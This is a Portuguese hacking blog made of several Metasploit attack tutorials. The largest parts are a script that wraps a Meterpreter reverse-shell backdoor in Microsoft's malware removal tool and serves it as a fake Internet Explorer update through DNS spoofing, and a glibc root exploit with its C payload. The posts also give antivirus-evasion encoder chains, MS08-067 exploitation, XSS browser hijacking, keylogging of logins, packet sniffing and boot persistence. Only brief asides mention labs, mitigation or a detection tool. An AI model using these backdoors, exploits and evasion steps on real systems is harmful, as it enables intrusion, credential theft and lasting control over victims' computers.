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quinta-feira, 28 de junho de 2012

Atualize MPGe - um invólucro de msfpayload e msfencode do Metasploit.

MPGe é um invólucro de msfpayload e msfencode do Metasploit. É possível usá-lo com Backtrack e Backbox.This wrapper cria cavalos de tróia para o Microsoft Windows, Linux, Mac OS X Panther, Tiger e Leopard Lion. Para Mac OS X é possível criar um shell reverso clássico ou criar um shell reverso inserido em um pacote. Pkg ou criar arquivos. App. Eu tento o meu programa depois entre duas máquinas virtuais: Primeiro anfitrião Mac Book (preto) e segundo host virtual Windows XP. Antes de eu usar o meu programa entre dois reais Mac OS X: O Livro primeiro Mac (preto) eo segundo Mac iBook G4 PowerPC (branco) com OS Tiger. Estes dois foram Mac conectados à rede local (intranet). Mac OS X Livro (preto) está em ouvir e esperar o shell reverso. O segundo mac osx Mac iBook G4 PowerPC receber um pacote (um pacote de arquivos. Ou. Dmg) e quando o usuário clica no arquivo de inserir uma senha como root e ativar o shell shell.The reversa reversa com script mal é um jogo não necessariamente muito sucesso não se preocupe. 
Plataforma: Unix / Linux
Características: 
Baixar versão mais recente: Mpge.tgz (17,5 MB) 
Encontrar outra versão | 
Leia mais aqui: http://sourceforge.net/projects/mpge/

domingo, 24 de junho de 2012

hacking Google via metasploit

foi muito horrível para a Microsoft. Primeiro, a vulnerabilidade aurora no IE e depois que o problema local de privilégio escalada em todas as janelas do sistema. As imagens abaixo mostram a combinação de duas vulnerabilidades para obter acesso a uma máquina e depois que escalaste privs para o sistema ...


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mais imagens disponíveis em "Hacking Google the Metasploit way" oder "from Aurora to god with msf" | www.s3cur1ty.de

hf
m-1-k-3

Remote Desktop com VNC via metasploit

Mostro com acessar um desktop remotamente com VNC via metasploit uma de muitas ferramentas encontradas no metasploit.

O que eu fiz?
Configurei o metasploit para injetar uma carga vncinject usando o exploit ms08_067_netapi

Código:
use exploit/windows/smb/ms08_067_netapi
set RHOST IP_da_vitima
set PAYLOAD windows/vncinject/bind_tc
exploit


Baixar

Antimeter Tool - Anti Meterpreter (Metasploit) for Windows

Link: http://www.mertsarica.com/codes/antimeter2.zip


USO

Código:
antimeter.exe [argumentos]


Argumentos Opcionais:
-t [intervalo de tempo] Varre a memória em cada intervalo de tempo especificado (Padrão intervalo de tempo é um (1) minuto)
-a Automaticamente mata o processo Meterpreter (desativado por padrão)
-d Apenas detecta o processo Meterpreter (desativado por padrão)
-e Adiciona processo para a lista de exclusão (por exemplo, uma "blacklist")

EXEMPLOS
Varre a memória em cada 5 minutos, mata o processo Meterpreter automaticamente e é habilitado o modo verbose:

Código:
antimeter.exe -t 5 -a -v


Varre a memória em cada minuto e só detecta o processo Meterpreter:

Código:
antimeter.exe -n


Varre a memória em cada minuto, sendo os processos "explorer e winlogon" são excluídos da análise:

Código:
antimeter.exe -e explorer.exe,winlogon.exe


Ai a pergunta? Porque usar uma ferramenta dessas, sendo que eu uso Linux ou Mac, por exemplo?

A resposta é "PORQUE SIM!!!", deixando as zoeira de lado, quando você tem ambientes heterogênios e grandes, há uma grande tendência para ter servers e desktops Windows.

Então se for o caso está ai uma solução, para um SO tão fraco quanto Windows (no caso ele mesmo!)

Exploit no pacote glibc-2.5.49.el5_5.i686 CVE-2010-3847 escala de privilegios p/ root

Executando o exploit no pacote glibc-2.5.49.el5_5.i686 CVE-2010-3847 escala de privilégios -> root em qualquer Linux sem uso do Metasploit.


A falha que estou falando é notícia no site underlinux.org
Privilégios de Root Através de Vulnerabilidade na Biblioteca GNU C e maiores detalhes em:

https://bugzilla.redhat.com/show_bug.cgi?id=643306 e em CVE-2010-3847 - Advisories - Community, pois até a data deste artigo a pedido do fabricante não liberam no CVE, mais informações


OBS: Testado e comprovado com sucesso em VM local que produzi em LAB, mas não utilizando a produção ou derivados. Tenha cuidado.



O autor deste artigo não se responsabiliza por dados mediante este artigo ou derivados.
PoC Exploit (Proof of Concept Exploit)


Crie um usuário teste, set a senha e depois autentique com o mesmo


Código:
$ mkdir /tmp/exploit
$ ln /bin/ping /tmp/exploit/target
$ exec 3< /tmp/exploit/target
$ ls -l /proc/$$/fd/3
$ rm -rf /tmp/exploit/
$ ls -l /proc/$$/fd/3
$ cat > payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system(“/bin/bash”);
}
^D
(Ctrl+D) <— parte as teclas para salvar e sair
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
$ LD_AUDIT=”\$ORIGIN” exec /proc/self/fd/3
# whoami
root
id
uid=0(root) gid=500(teste)



Mitigação
========
Evitar de criar usuários em filesystems sem permissão nosuid
Caso não seja possível, há um paleativo:

Citação:
# mount -o bind /tmp /tmp
# mount -o remount,bind,nosuid /tmp /tmp


Solução
=======
Atualizar glibc-2.5.49.el5_5.i686 -> com yum update caso já haja glibc atual.
Foi exploitado sem sucesso em uma VM Local no CentOS 5.5, sem sucesso. O que pude concluir que a atualização da glibc contorna a falha, mas deve-se avaliar melhor e com cautela, pois a atualização da glibc, sem total atualização do SO de CentOS 5.3 -> CentOS 5.5 pode o acarretar em “crash” total do SO, devido à esta biblioteca ser uma das principais do SO.

"Encobrindo" um backdoor do meterpreter em um Patch do IE

Aqui está um tutorial sobre como criar um backdoor no Meterpreter indetectável e encobri-lo como uma atualização de segurança do Internet Explorer. Eu criei um script bem básico que cria o backdoor no Meterpreter e inicia o multi/handler.

Vou injetar o payload no Microsoft Windows Malicious Software Removal Tool, que está disponível para download aqui.

Download details: Microsoft® Windows® Malicious Software Removal Tool (KB890830)

E eu vou usar o ettercap para fazer dns_spoof na vítima usando uma página falsa do Internet Explorer que seria equivalente à atualização de segurança.

Salve meu script como myscript.sh:

Código:
#!/bin/sh
clear
cd /pentest/exploits/framework3
echo "*************************************"
echo "              creating a meterpreter backdoor          "
echo "*************************************"
echo -n "lhost ?"
read lhost
echo -n "lport?"
read lport
echo -n "path to output file?"
read filename
echo -n "path to input file?"
read originalfile
echo "creating payload ..."
./msfpayload windows/meterpreter/reverse_tcp LHOST=$lhost LPORT=$lport R | ./msfencode -e x86/shikata_ga_nai -c 10 -t exe -x $originalfile -o $filename
echo "payload created !"
echo "starting multi/handler ..."
./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=$lhost LPORT=$lport E


Faça o meu script ser executável:

Código:
chmod 755 myscript.sh


Execute o meu script:

Código:
./myscript.sh lhost => your ip lport => 5555 output => /root/backdoor.exe input => /root/windows-kb890830-v3.12


Set up portforwarding no sysctrl do seu kernel (se for em outra localização do seu kernel, procure na internet algo sobre kernel e versão no Ubuntu)

Código:
echo 1 > /proc/sys/net/ipv4/ip_forward


Set up etter.dns localizado em /usr/share/ettercap

Código:
nano /usr/share/ettercap/etter.dns


Remova a parte onde microsoft esta forwarded para o linux e adicione as seguintes linhas:

Código:
* A Seu Ip
*.* A Seu Ip *.*.* A Seu Ip *.*.*.* A Seu Ip


Crie um site onde você pode baixar o arquivo ou baixar minha web.

http://home.base.be/%72%68%69%6E%63%6B%78%74/malicious_update.rar

Eu usei o Photoshop para editar algumas fotos que eu encontrei a respeito do Internet Explorer,
Criei uma página simples em html, adicionei uma folha de estilo - CSS para posicionar o botão de download e para fazer a página parecer o mesmo com todas as resolução da tela.

Copie todos os arquivos para o diretório de publicação padrão do Apache /var/www/

Restart o Apache:

Código:
/etc/init.d/apache2 restart


Ative o DNS spoofing:

Código:
ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /ip da vitima/ /gateway ip/


Gateway IP pode ser encontrado digitando isso no terminal:

Código:
route -n


Agora só temos que esperar a nossa vítima para executar o backdoor. Quando a vítima executar o backdoor, você deve ver algo como "session 1 opened". Você pode ver suas sessões ativas, digitando:

Código:
sessions -r


OBS: Isso se deve devido o backdoor ter sido criado no Metasploit/Meterpreter, então é o comando acima que visualiza as sessões do mesmo, bem como quase todos os comandos na sequência abaixo. Para saber mais sobre Metasploit/Meterpreter busque no nosso forum, fale com firebits, espreto, spwam, bhio e outros membros, mas seja "claro e objetivo" nas suas perguntas e post sempre no nosso forum.



Você pode saltar para a primeira sessão, digitando:

Código:
sessions -i 1


Há uma série de comandos que são capazes de executar. Você pode vê-los todos, escrevendo:

Código:
help


Alguns exemplos:

Citação:
sysinfo => get system info
shell => jump into a cmd shell
keyscan_start => scan for keyboard input
keyscan_dump => dump keyboard input
keyscan_stop => stop scanning
screenshot => take screenshot
upload
download

Explorando Cross Site Scripting (XSS) com Metasploit

Cross Site Scripting é uma vulnerabilidade encontrada em aplicações, que existe quando a mesma não implementa mecanismos de validação de entradas dos dados fornecidos pelos usuários à aplicação. Existem casos em que a validação existe, porém, não é suficiente ou bem implementada, permitindo desta forma a possibilidade de executar scripts no browser do usuário.

Os ataques que exploram esta vulnerabilidade, na grande maioria dos casos, visam comprometer a segurança do usuário que utiliza a aplicação, conhecido como ataques client-side. Estes ataques incluem, captura de cookies de sessão, dados dos usuários, credenciais, criação de sites falsos (phishing), entre outros.

No Metasploit existe um framework ainda em fase de testes chamado XSSF, criado para facilitar a exploração de Cross Site Scripting, realizei uns testes bastantes satisfatórios, onde foi possível conseguir desde informações do navegador do usuário até a exploração de vulnerabilidades do browser com execução de comandos.

Para utilizar o framework é necessário fazer o download em http://www.metasploit.com/redmine/attac ... 6/XSSF.zip e extrair o arquivo dentro do diretório do Metasploit.

Tendo extraído o arquivo, basta executar a console do Metasploit e utilizar o comando load, conforme imagem ilustra.


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Quando executado o XSSF habilita um Web server contendo um código javascript que deverá ser executado no browser da vítima, sendo assim ele gera uma URL para uso de engenharia social, onde o atacante deve fornecer para o usuário. Neste caso a URL gerada foi: http://192.168.2.103:8888/loop.

Para demonstração foi utilizado uma vulnerabilidade de XSS encontrado na aplicação Web Damn Vulnerable Web App (DVWA) e executado a injeção do script.

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Para verificar se o código foi executado no browser do usuário, executa-se o comando “xssf_active_victms”


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Verificou-se que existe uma conexão ativa oriunda do browser Internet Explorer, com o comando “xssf_information”, é possível obter mais informações.


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O framework possui alguns módulos onde é possível interagir com o browser atacado. Nas imagens abaixo é possível verificar o uso do módulo auxiliary/xssf/alert.


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Após a execução do módulo é possível verificar no browser do usuário a janela do alert executado.


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Bem desta forma é possível obter outras informações tais como cookies de sessão, acesso ao clipboard entre outros.

Dado o nível de interação existente com o browser do usuário, é possível ainda executar exploits para explorar vulnerabilidades client-side.

Para exemplificar foi disparado contra o browser do usuário o exploit ms10_046_shortcut_icon_dllloader. As imagens ilustram a configuração e execução do exploit.


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Desta forma, é possível verificar que o exploit foi executado com sucesso e retornou para o atacante uma shell para execução de comandos.


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Com este post é possível mostrar o quanto um simples Cross Site Scripting refletido pode se tornar perigoso devido as grandes investidas contra a segurança client-side.

Explorando a Vulnerabilidade MS08-067

Esse é um tutorial que é bem básico, mas é essencial para que no futuro possamos estudar mais a fundo os recursos do Metasploit.
O cenário para este ataque é uma máquina rodando linux com o Metasploit instalado e uma com o Windows XP SP1 vulnerável a MS08_067_netapi.
Com as máquinas na mesma rede, vamos ver o ip de cada uma delas.
Na máquina linux basta dar um ifconfig

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Na máquina windows abra uma tela de prompt e de um ipconfig

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Agora vamos inicar o Metasploit, dando o comando msfconsole

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Como já sabemos qual a vulnerabilidade que vamos explorar, vamos fazer uma busca no Metasploit e descobrir o caminho correto do exploit. Para isso vamos usar o comando search ms08_067_netapi

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Pronto, ele nos retornou o caminho, agora vamos selecionar o exploit usando o seguinte comando use exploit/windows/smb/ms08_067_netapi

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Vamos agora definir o PAYLOAD que vamos utilizar, neste caso eu vou usar uma conexão reversa então use o comando set PAYLOAD windows/meterpreter/reverse_tcp para definir este PAYLOAD.

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Precisamos ver quais parametros nosso exploit vai precisar para atacar a máquina alvo, para isso usaremos o comando show options

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Podemos ver claramente na coluna Current Setting que existem dois valores ainda não definidos e que são necessários, que são o RHOST e o LHOST. Vamos definir o LHOST que é nosso IP local, então o comando fica assim set LHOST 10.0.0.7

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Para definir o RHOST daremos o seguinte comando set RHOST 10.0.0.8 lembrando que o IP da máquina alvo é 10.0.0.8

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Vamos dar novamente o comando show options para ver se ficou faltando algum parametro

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Bem como parece estar tudo ok, vamos lançar nosso exploit e ver se da certo. Para isso basta digitar exploit

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Show ! Aqui podemos ver que uma sessão foi aberta, isso quer dizer que o alvo foi invadido com sucesso.
Bem esse é o primeiro passo para o estudo do metasploit, será daqui que faremos os ataques mais avançados.

Metasploit Exploitation

Metasploit¹ é uma ferramenta utilizada, em sua maior parte, por Pen Testers², para a realização de testes de penetração (penetration test), podendo ser usada pelas mais variadas áreas, para fins de testes, análises, conhecimento, etc. Este artigo visa demonstrar algumas formas de uso para a pós-exploração de um alvo, usando o framework Metasploit, este que se encontra em sua versão 3.3.4-dev.

Recomendo, para este artigo um conhecimento prévio sobre o framework, linha de comando em Linux³, redes de computadores⁴, TCP/IP⁵, etc!

O cenário utilizado para a criação deste artigo é mostrado na figura a baixo.

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Descrição:

Attacker = De onde partiram os ataques.
Roteador1 = Roteador da rede local do atacante.
XX.XX.XX.XX = IP WAN
YY.YY.YY.YY = IP WAN
Roteador2 = Roteador da rede local do alvo.
10.0.0.0/8 = Classe utilizada na rede interna do alvo.

Obs.: Ficar atento ao redirecionamento das portas no roteador para a máquina atacante.

Nota: Em seus testes, não há a necessidade de utilizar as mesmas classes de IPs, quantidades de máquinas utilizadas neste exemplo, fica a seu critério a alteração dos mesmos.

Dica: Com 2 máquinas reais e softwares de virtualização⁶ instalada em ambos, você conseguirá montar o cenário acima proposto.

Começando:

Assumirei que você já tenha estabelecido uma sessão meterpreter com pelo 1 máquina na rede alvo.

Ah, ainda não? E não sabe como fazer?Ok! Sem problemas, irei demonstrar uma simples técnica apenas para ganharmos a sessão meterpreter e assim podermos continuar com nosso artigo.

Entre no diretório do MSF com o seguinte comando:

root@bt:~# cd /pentest/exploits/framework3/

Ok! Antes de continuarmos, é sempre bom mantermos o metasploit atualizado, sendo assim, como já estamos no diretório do msf, basta o comando svn update para atualizarmos o MSF.

root@bt:/pentest/exploits/framework3# svn update

Com o msf atualizado, iremos criar o payload que enviaremos para o nosso alvo.
Prosseguimos com o seguinte comando:

root@bt:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=XX.XX.XX.XX LPORT=4455 X > cliqueaqui.exe

Será criado no diretório corrente o arquivo executável “cliqueaqui.exe”, agora basta enviar para o alvo e aguardá-lo clicar para execução, certo?

NÃO, não está certo! E os anti-virus? Com este simples payload que criamos, o AV, detectará assim que ele por os “pés” no alvo!

Se enviarmos o arquivo criado acima “cliqueaqui.exe” para uma analise online com vários AVs, veremos que muitos o detectam.
Utilizei o site Virus Total⁸ para a verificação online do arquivo, veja a imagem abaixo que dos 40 AVs existentes no site, apenas 13 identificam o nosso arquivo “cliqueaqui.exe”.

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Veja também no site Verificador de Malware Jotti⁹, neste, dos 20 scanners, 7 detectam o arquivo.

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Sendo assim, vamos “tunar” nosso arquivo cliqueaqui.exe. Digite o seguinte comando:

root@bt:/pentest/exploits/framework3# msfpayload windows/meterpreter/reverse_tcp LHOST=XX.XX.XX.XX LPORT=4455 R | msfencode -c 15 -e x86/shikata_ga_nai -a x86 -t raw | msfencode -c 5 -a x86 -e x86/alpha_mixed -t raw | msfencode -c 3 -e x86/call4_dword_xor -t exe > cliqueaqui2.exe

Obs.: Troquem XX.XX.XX.XX pelo IP WAN do seu roteador!

Obs.: Lembrando que o comando acima não é a melhor prática para burlar AV!

Pronto, agora podemos ver que já diminuímos a quantidade de AVs que estavam detectando nosso arquivo, como pode ser visto na figura abaixo.

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Concluído a criação do nosso payload, agora vamos para a próxima fase.

Nota: Não entrarei em detalhes nas opções usadas acima a princípio, assim que possível explicarei os opções novamente com outro artigo mais detalhado neste quesito.

Dica: Aqui foi usado um simples payload reverso para conseguirmos estabelecer a sessão meterpreter. Mais poderiam ser utilizados outras técnicas, como, envio de arquivo pdf com código malicioso, uma imagem jpeg, um arquivo doc, usando engenharia social fazendo com que a vitima execute outros arquivos, etc.. Fica para um próximo artigo.

USEM A IMAGINAÇÃO.

Dica: Gaste algum tempo na leitura das opções dos comandos usados acima.

# ./msfpayload –h
# ./msfencode –h
# ./msfencode –l


Obs.: Vou considerar que vocês criaram um ambiente virtual para os testes, sendo assim, não há a necessidade de aprofundar (não agora!) em criação de payloads e tal, na máquina virtual, vocês podem desabilitar o AV e executar o primeiro payload que criamos, assim, será criada a sessão entre o atacante e o alvo normalmente.

Console Metasploit:

Agora que criamos nosso arquivo “cliqueaqui2.exe” e enviamos ao alvo, precisamos deixar nosso msf “escutando” as conexões, esperando a execução do nosso arquivo no alvo.
Para isso, de os seguintes comandos no console do metasploit:

msf > use exploit/multi/handler
msf > set PAYLOAD Windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.0.110
msf > set LPORT 4455
msf > exploit


Veja os comandos na imagem abaixo:

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Ao ser executado o nosso arquivo no computador da vitima, será estabelecida uma conexão entre o Atacante e o alvo. Assim, ganhamos nossa Shell meterpreter.
Veja imagem abaixo.

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Aparentemente parece que está travado, mais não está! Repare que a sessão meterpreter já foi criada, sendo assim, pressionamos Ctrl+C para finalizar este “travamento”.
Agora digite o comando sessions –l, como abaixo.

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Temos uma sessão ativa com ID de número 1 identificando-a.
Veja que aparentemente conectamos do IP da nossa máquina local (192.168.0.110) com o IP WAN do roteador2 (YY.YY.YY.YY).

Agora vamos interagir com o console meterpreter, basta o comando sessions –i 1 como mostrado abaixo.

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Yes! Agora sim, vamos começar o artigo! :)

Meterpreter

O meterpreter supera as limitações e fornece várias APIs que permite ao atacante executar diversos ataques de exploração no Shell meterpreter, podendo ir mais a fundo e descobrindo o máximo possível de informações do alvo e da rede interna. Meterpreter proporciona uma enorme flexibilidade para o processo de pós-exploração, deixando-o até escrever seus próprios scripts meterpreter.

Bom, chega de bla bla bla!!!

Como estamos executando em cima do processo “cliqueaqui2.exe”, precisamos migrar para um processo mais estável, onde um usuário dificilmente irá ver onde estamos!

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Agora vejamos no console meterpreter o processo que estamos com o comando getpid, seguido do comando ps.

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Agora vamos migrar para o processo explorer.exe com o comando migrate. Repare na imagem acima o PID do processo explorer.exe.

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Ok! Deseja ver a versão do Windows que você está atacando?
Simples, dê o comando sysinfo.

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Agora vejamos o IP da máquina que estamos executando com o comando ipconfig.

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Comandos simples até agora, se quiser ver os comandos disponíveis para uso no console meterpreter, basta executar o comando help ou simplesmente ?.


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Avançando com Meterpreter.

Agora vamos usar o keylogging¹⁰ e vamos tentar capturar o máximo das teclas digitadas pelo usuário. Está é uma técnica demorada para retorno de informações e consome muito tempo, eu aconselho usa-lá após ter retirado o máximo de informações do alvo e também depois da instalação de algum backdoor¹¹, para que assim, caso o usuário desligue ou reinice a máquina, consigamos voltar a acessá-la posteriormente.
Com o comando keyscan_start, iniciamos o nosso keylogger, agora só esperar um tempo e ver os resultados.

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Na imagem abaixo estou tentado fazer login nos serviços do Google.

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Agora vamos ver o que nosso keylogger pegou com o comando keyscan_dump e logo em seguida finalizo o mesmo.

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Repare na imagem acima, que foi capturado o meu e-mail (meulogin) e minha senha (minhasenha).

Sniffing com Meterpreter.

Vamos sniffar o que passa pela nossa interface do alvo e ver o que conseguimos pegar de interessante.
Primeiramente, precisamos carregar o módulo sniffer¹² com o comando use sniffer, em seguida, pedimos para listar as interfaces de rede com o comando sniffer_interfaces. Iremos iniciar nosso sniffer nesta interface indicada pelo numero 1, com o comando sniffer_start 1, podemos esperar o tempo que você achar conveniente. Já foi tomar uma água? Uma cerveja? Tomou banho? Não? Ok! Não faz mal, vou salvar o que ele farejou até agora em um arquivo com extensão .cap, com o nome de sniffer, com o comando sniffer_dump 1 /tmp/sniffer.cap, para eu poder analisá-lo com outra ferramenta mais intuitiva, e logo após, encerro o sniffing.

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Vejamos algumas informações sobre o arquivo sniffer.cap usando o capinfos.

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Vamos analisar o arquivo sniffer.cap com a ferramenta Wireshark¹³.
Basta abrir o Wireshark e ir em File > Open e apontar para o arquivo sniffer.cap.

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Agora veja a interface do Wireshark já com o arquivo sniffer.cap carregado. E as senhas em plaint-text heim? Perigooo!!! :


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Ah! Você não gosta do Wireshark ou não quer usá-lo agora? Prefere o tcpdump?
No problem! Vamos analisar o arquivo sniffer.cap com o tcpdump¹⁴ então, oras!!!

root@bt:~# tcpdump –n –r sniffer.cap

Se quiser ver as primeiras 10 linhas do arquivo, basta adicionar head –n 10 na frente do comando acima.

root@bt:~# tcpdump –n –r sniffer.cap head –n 10

Vamos continuar com o sniffer, só que agora executando com o modo interativo do ruby¹⁵, basta executar o comando irb e voilà!!

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Seria interessante, para uma melhor compreensão, ter noções básicas da linguagem ruby.
Como o modo interativo está “doido” para trabalhar, vamos lá.
Um pouco acima, quando executamos o comando use sniffer, por trás dos panos (ou cortinas!), estava executando a seguinte chamada API, client.core.use(“sniffer”) e quando executamos o comando sniffer_interfaces, estavamos invocando (Sai capeta!) a chamada API, client.sniffer.interfaces().
Veja e compare as saídas abaixo.


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Olhe a imagem acima e repare que ao passar para o irb a chamada client.core.use(“sniffer”), ele nos retorna true, nos confirmando que foi carregado com êxito. E quando passamos a chamada client.sniffer.interfaces(), nos retorna informações sobre a nossa interface, repare as saídas de ambas as saídas.

E a chamada para iniciarmos o sniffing? Cadê? Calma, está aqui! A chamada API é client.sniffer.capture_start(intf, maxp), vemos que a chamada aceita dois valores, intf é a identificação da interface, repare na imagem acima que conseguimos saber este valor executando a chamada client.sniffer.interfaces(), onde pegamos o valor de “idx”. E o valor de maxp, é a quantidade máxima de pacotes que iremos armazenar no buffer. Ambos deverão ser valores inteiros. Logo em seguida com a chamada client.sniffer.capture_stats(1), vemos o quanto já conseguimos snifar até o momento!

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Hora de analisar o que farejamos não? Ohh Yes!! Lembra quando executamos o comando sniffer_dump? Pois é, agora vamos executar a sua chamada API que é identificada por client.sniffer.capture_dump(intf), nesta chamada obtemos do buffer as informações e já apagando-a, par ler os dados precisamos invocar o espírito do... Ops! Me empolguei! Como dizia, precisamos da chamada client.sniffer.capture_dump_read(intf,1024*512).

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Ok, já vimos como funciona mais ou menos internamente, agora podemos parar nosso sniffing com a chamada client.sniffer.capture_stop(1), passando a identificação do nossa interface, que equivale ao comando sniffer_stop 1.

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Poxa! Vamos parar de “cheirar” agora (Isto me lembra um jogador famoso, deixa pra lá!).

Mantendo o Acesso.

Pois bem, até aqui está indo as mil maravilhas certo?
Não! Está indo mais ou menos, e se a pessoa reiniciar ou até mesmo desligar a máquina destino? Bom, vamos querer continuar com acesso a ela, para que posteriormente possamos obter mais informações ainda. Para isso, existe um script meterpreter que nos ajudará fazer o que queremos, seu nome é persistence! Muito prazer senhor Persistence! :P
Para que possamos manter o acesso com a máquina alvo, precisamos executar o seguinte comando no console meterpreter mostrado logo abaixo, este script é super difícil de utilizá-lo!

meterpreter > run persistence –X

Está vendo que dificuldade você terá pra conseguir manter o acesso com a máquina?
Brincadeiras a parte, vamos à explicação!

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O comando acima criará um arquivo executável na maquina destino, a opção –X serve para que o arquivo criado seja executado durante o boot da máquina destino, vejam onboot=true. Repare na saída do comando o endereço IP local da máquina do atacante e que ela escutará na porta 4444, que é a padrão, podemos alterar a porta padrão para outra que nos convenha usando a opção –p seguido do número da porta, exemplo, -p 5555.
Veja que foi feito o upload do executável em C:\DOCUME~1\espreto\CONFIG~1\Temp\RVcLLgpYIYS.vbs e foi identificado com o PID 1052, vejam a saída do comando ps, e observem que foi criado com o nome wscript.exe.
E em seguida, foi criado um arquivo autorun na seguinte chave do registro HKLM\Software\Microsoft\Windows\CurrentVersion\Run\yjvpnmqbcAXmWU.

Para testarmos, feche a janela do nosso console msf e abra-a novamente, vamos configurar o exploit multi/handler para ficar aguardando pela conexão. Se você estiver utilizando uma máquina real ou virtual como alvo, desligue-a.

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Conforme a imagem acima, agora ligue a máquina que estávamos atacando e espere alguns instantes para que possamos ganhar nossa Shell meterpreter.

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Ok! Temos nossa Shell novamente e podemos continuar nossa exploração.

PrintScreen

Outro recurso legal que o meterpreter nos oferece, é a possibilidade de tirarmos um printscreen da máquina destino, assim podemos ver o que a nossa vítima está fazendo naquele momento, não tão interessante, mais dá pra dar umas boas risadas!

Este é outro script extremamente difícil de usar. Reparem logo abaixo. :P

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Usamos o comando use espia, para carregar o módulo meterpreter e em seguida executamos o comando screenshot seguido pelo caminho onde será salvo nosso screenshot com o nome de print1.png. Viram a dificuldade? Hehehe! Vejam a saída da imagem abaixo!

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Conclusão

Como havia mencionado, o meterpreter oferece uma enorme flexibilidade para a pós-exploração, aqui neste artigo, escrevi algumas de suas particularidades. Poderia escrever um livro enorme sobre todas as possibilidades de uso para o framework! (Quem sabe!)

De posse da Shell meterpreter existe diversos recursos que podemos utilizar para explorar ainda mais todos os recursos da rede, como, explorar outros computadores da rede a partir deste que estamos, habilitar o recurso de RDP (Remote Desktop Protocol), instalação de backdoors mais sofisticados, capturar hashs, dificultar o trabalho de perícia forense (Show!), entre várias outras possibilidades.
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